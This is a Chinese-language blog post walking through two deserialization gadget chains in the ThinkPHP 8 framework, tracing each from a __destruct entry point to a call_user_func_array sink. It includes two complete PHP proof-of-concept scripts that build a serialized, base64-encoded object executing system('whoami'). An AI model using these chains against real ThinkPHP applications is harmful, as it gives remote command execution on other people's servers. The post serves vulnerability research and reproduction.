thinkphp8反序列化链子分析

7 分钟

Thinkphp8反序列化链子分析

前言

thinkphp8发布不久,支持的PHP版本最低为8,从各大社区都描述可知,PHP8的开发中潜入了安全的研究者,也就是相对来说PHP8变的比较安全。但是并不影响能够找到反序列化的链子,根据师傅们写的文章也不难看出,thinkphp8的反序列化链子不过是将thinkphp6的链子换了一个入口。

搭建环境

composer create-project topthink/think tp8  //Apache中使用的php版本要高于8

链子分析

thinkphp分析合集中可以知悉,漏洞的source点是通过Model触发save方法从而触发后续的链子,但是在thinkphp8中可以看到,整个类的destruct方法都被删除掉了,也就是失去了这个触发点,只需要找一个新的source点即可。

image-20240704204626187

根据平常的惯例,php的反序列化点一般都是在destructwakeup等拥有主动性的函数,这次的source点在ResourceRegister类的__destruct方法,方法能够触发register方法,而$this->registered默认是false的。

image-20240704204948129

进入register方法后,会来到parseGroupRule方法中,参数是this->resource->getRule()的返回值,也就是从Rule类中直接返回变量rule的值。

image-20240704205135550

Resource#parseGroupRule方法中可知,先判断rule变量是否存在.,如果存在,则会分割成数组,随后弹出数组中的第一个索引并遍历数组,$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';会取出options变量var数组的val索引并与字符串拼接,这里的option也是完全可控的,也就是说这里可以触发_toString方法。

image-20240704205348205

Convertion#__toString方法中,能够触发toJson方法的,从这里也就连接起了thinkphp6链子的后半段信息。

image-20240704205756663

进入到_toJson方法会通过json_encode编码成json,在这之前会触发toArray()方法先变成数组,方法的具体内容如下:

    public function toArray(): array
    {
        $item = $visible = $hidden = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (str_contains($val, '.')) {
                    [$relation, $name] = explode('.', $val);
                    $visible[$relation][] = $name;
                } else {
                    $visible[$val] = true;
                    $hasVisible = true;
                }
            } else {
                $visible[$key] = $val;
            }
        }
        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (str_contains($val, '.')) {
                    [$relation, $name] = explode('.', $val);
                    $hidden[$relation][] = $name;
                } else {
                    $hidden[$val] = true;
                }
            } else {
                $hidden[$key] = $val;
            }
        }
        foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name, $visible, $hidden);
        }
        $data = array_merge($this->data, $this->relation);
        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                if (isset($visible[$key]) && is_array($visible[$key])) {
                    $val->visible($visible[$key]);
                } elseif (isset($hidden[$key]) && is_array($hidden[$key])) {
                    $val->hidden($hidden[$key], true);
                }
                if (!array_key_exists($key, $this->relation) || (array_key_exists($key, $this->with) && (!isset($hidden[$key]) || true !== $hidden[$key]))) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);#触发getAttr方法
            }

            if (isset($this->mapping[$key])) {
                $mapName        = $this->mapping[$key];
                $item[$mapName] = $item[$key];
                unset($item[$key]);
            }
        }

        if ($this->convertNameToCamel) {
            foreach ($item as $key => $val) {
                $name = Str::camel($key);
                if ($name !== $key) {
                    $item[$name] = $val;
                    unset($item[$key]);
                }
            }
        }

        return $item;
    }
这个方法中有很多for循环,但是一开始赋值的都是空数组,所以前面的循环都不需要管,直至通过array_mergedatarelation合并,并遍历合并后的数组后会进行条件判断,这里需要进入getAttr方法,只需要将$visible滞空,就会来到最后一个elseif,因为$hidden默认是空的,而$hasVisible也默认是false,会进入到getAttr方法中。

Attribute#get方法中,会先触发getData方法,这个方法会进入到getRealFieldName中返回跟参数一样的值,最终会返回data数组中name索引的值,最终会进入getValue方法。

image-20240704212300767

image-20240704212430569

getValue中,如果参数$name的值在json数组中,并且withAttr参数索引$name的值是一个数组,就会进入getJsonValue方法。

image-20240704212610732

最终sink点在两个变量的拼接上,遍历withAttr的值作为函数名,将value的值作为参数,触发命令执行,这里的value就是data参数的值。

image-20240704212801532

因此整个poc如下,这里需要解释下为什么Pivot类最终会来到Conversion__toString,因为Pivot继承于Model类,而Model类中通过use字段服用了整个ConversionAttribute的代码:

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['a'=>['a'=>'whoami']];
    private $withAttr=['a'=>['a'=>'system']];
    protected $json=["a"];
    protected $jsonAssoc = true;
}


namespace think;

abstract class Model{
    use model\concern\Attribute;
}

namespace think\model;

use think\Model;
class Pivot extends Model{}

namespace think\route;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option = ["var" => ["1" => new \think\model\Pivot()]];
    }
}
class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

image-20240704212958386

链子分析2

链子的起始头与第一条链子是一样的,都是通过触发Model#__toString()进入到Conversion#toArray()方法,但是source点不太一样,这里进入的是appendAttrToArray方法中,通过控制append的值,可以控制$name,在前文也提到,visible可以通过控制$this->visible的值,通过遍历$this->visible来控制visible的值。

image-20240706212714460

appendAttrToArray方法中,当这里的$name属性包含.的时候,会切割成数组,进入到getRelationWith方法中。

image-20240706212738754

getRelationWith方法中,当控制掉$relationValidate类的时候,因为不存在visible方法,因此会触发Validate#_call方法。

image-20240706213059298

这里的getRelation方法,当$name为空值的时候,直接返回类的relation值,否则当relation是数组时,判断$name是否是relation的索引,如果是则返回$name索引的值。

image-20240706213300160

Validate#_call中,做了一些处理,但是并不影响args的值,也就是我们事先传入的$visible[$key],最终通过call_user_func_array触发类中的is方法。

image-20240706214010914

is方法中,可以控制this->type[$rule]的值为system,控制$value的最终结果为你需要的命令即可。

public function is($value, string $rule, array $data = []): bool
    {
        $call = function ($value, $rule) {
            if (isset($this->type[$rule])) {
                $result = call_user_func_array($this->type[$rule], [$value]); #漏洞触发点
            } elseif (function_exists('ctype_' . $rule)) {
                $ctypeFun = 'ctype_' . $rule;
                $result   = $ctypeFun($value);
            } elseif (isset($this->filter[$rule])) {
                $result = $this->filter($value, $this->filter[$rule]);
            } else {
                $result = $this->regex($value, $rule);
            }
            return $result;
        };
        return match (Str::camel($rule)) {
            'require'   =>  !empty($value) || '0' == $value, // 必须
            'accepted'  =>  in_array($value, ['1', 'on', 'yes']), // 接受
            'date'      =>  false !== strtotime($value),                // 是否是一个有效日期
            'activeUrl' =>  checkdnsrr($value), // 是否为有效的网址
            'boolean','bool'    =>  in_array($value, [true, false, 0, 1, '0', '1'], true),         
            'number'    =>  ctype_digit((string) $value),
            'alphaNum'  =>  ctype_alnum($value),
            'array'     =>  is_array($value),                // 是否为数组
            'string'    =>  is_string($value),
            'file'      =>  $value instanceof File,
            'image'     =>  $value instanceof File && in_array($this->getImageType($value->getRealPath()), [1, 2, 3, 6]),
            'token'     =>  $this->token($value, '__token__', $data),
            default     =>  $call($value, $rule),
        };
    }

这里有一个点容易卡住,也卡住了我将近半小时,就是前面关于$visible的遍历,如果直接将$this->visible的值赋值成类似whoami,最终会变成true。但是如果这里不是字符串,最终call_user_func_array($this->type[$rule], [$value]);又如何执行呢,首先是尝试了数组的形式,最终[$value]变成了双重数组,命令执行会失败。

foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (str_contains($val, '.')) {
                    [$relation, $name] = explode('.', $val);
                    $visible[$relation][] = $name;
                } else {
                    $visible[$val] = true;
                    $hasVisible = true;
                }
            } else {
                $visible[$key] = $val;
            }
        }

这里的解决办法就是在call_user_func_array($this->type[$rule], [$value]);执行的过程中,如果$value是一个类,也就相当于这个类被当成了字符串使用,会触发它的__toString方法,返回一个值,因此只需要找一个类的__toString方法直接返回一个值,并且这个值是可控的即可。我与链子作者都把枪头同时指向了ConstStub类,这里可以通过构造方法控制value,从而达到上面的效果。

image-20240706214909085

最终payload:

<?php
namespace Symfony\Component\VarDumper\Cloner;
class Stub{}

namespace Symfony\Component\VarDumper\Caster;
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub
{
    public $value="whoami";

}

namespace think;


use Symfony\Component\VarDumper\Caster\ConstStub;

class Validate{
    protected $type;
    public function __construct(){
        $this->type=["visible"=>"system"];
    }

}

abstract class Model{
    protected $append=["a"=>"1.1"];
    private $relation;
    protected $visible;
    public function __construct(){
        $this->relation=["1"=>new Validate()];
        $this->visible=["1"=>new ConstStub()]; //不能为字符串,怎么办?
    }
}

namespace think\model;

use think\Model;
class Pivot extends Model{
}

namespace think\route;


use Symfony\Component\VarDumper\Caster\ConstStub;
use think\Validate;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option =["var" => ["1" => new \think\model\Pivot()]];
    }
}


class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

image-20240706215002235

总结

对于链子发现的过程,请参考下面原作者文章,本人参考作者的sink点,仅对链子进行复现并以自己简单易懂的方式与payload进行了归纳。

参考文章:
链子发现者文章

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:thinkphp8反序列化链子分析
文章链接:https://aiwin.fun/index.php/archives/4422/
最后编辑:2024 年 7 月 6 日 22:02 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 8 + 6 =
快来做第一个评论的人吧~